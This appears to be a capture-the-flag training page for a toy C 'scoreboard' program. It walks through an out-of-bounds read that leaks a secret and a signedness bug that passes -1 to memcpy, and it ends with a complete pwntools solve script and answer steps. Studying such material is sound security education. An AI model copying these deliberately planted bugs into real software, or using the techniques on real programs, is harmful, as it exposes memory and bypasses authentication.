> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/03.-integer-overflow-md/challenge/hard.md).

# Challenge 3 — Hard: "The Scoreboard"

## Story

A gaming scoreboard stores 8 player scores. It has two hidden bugs: one lets you read arbitrary memory past the array, the other lets you corrupt memory using a negative length that bypasses a bounds check.

## Your Goal

1. Use the **out-of-bounds read** to leak the `secret` value from memory.
2. Authenticate using that secret key.
3. Claim the flag.

(Bonus: explore how the signedness confusion in `apply_bonus` could also be abused.)

## Compile & Run

```bash
gcc -o scoreboard scoreboard.c
./scoreboard
```

## Memory Layout (simplified)

The globals live in BSS in declaration order:

```
[ scores[0] ][ scores[1] ] ... [ scores[7] ] [ secret (0xDEADBEEF) ] [ authenticated ]
   index 0      index 1           index 7         index 8                  index 9
```

Each `int` is 4 bytes. `scores` has 8 elements (indices 0–7). Index **8** lands directly on `secret`. Index **9** lands on `authenticated`.

## Bug A — Out-of-Bounds Read

`read_score(index)` uses your index with zero bounds checking:

```c
printf("[*] scores[%d] = %d\n", index, scores[index]);
```

Enter index `8` to read `secret`. You'll see the decimal value of `0xDEADBEEF`.

Convert decimal → hex to use in the authenticate step:

```python
print(hex(3735928559))  # → 0xdeadbeef
```

## Bug B — Signedness Confusion (bonus exploration)

`apply_bonus()` checks:

```c
if (bonus_len > 4) { reject; }
```

`bonus_len` is `int` (signed). Enter `-1`:

```
-1 > 4?  → FALSE  (signed comparison)
```

Then `memcpy(..., (size_t)(-1))` → copies 4,294,967,295 bytes. Crash/corruption.

In a real exploit this could overwrite `authenticated` directly.

## Step-by-Step Solution

```
1. Choose option 1 (Read score)
2. Enter index: 8
3. Note the printed value (it's 0xDEADBEEF = 3735928559 in decimal)
4. Choose option 3 (Authenticate)
5. Enter key: DEADBEEF
6. Choose option 4 (Claim flag)
```

## Automated Solve Script

```python
from pwn import *

p = process("./scoreboard")

# Step 1: leak the secret via OOB read
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Index: ", b"8")
line = p.recvline().decode()
# line: "[*] scores[8] = 3735928559"
leaked = int(line.strip().split("= ")[1])
print(f"[*] Leaked secret: {hex(leaked)}")

# Step 2: authenticate
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"key", hex(leaked).encode())
p.recvline()

# Step 3: claim flag
p.sendlineafter(b"> ", b"4")
print(p.recvline().decode())

p.close()
```

## Concepts Practiced

* Out-of-bounds array read (no bounds check on signed index)
* Memory layout of global variables in BSS
* Signedness confusion: negative bypasses `> N` check, becomes huge `size_t`
* Chaining two bugs: leak → authenticate → flag
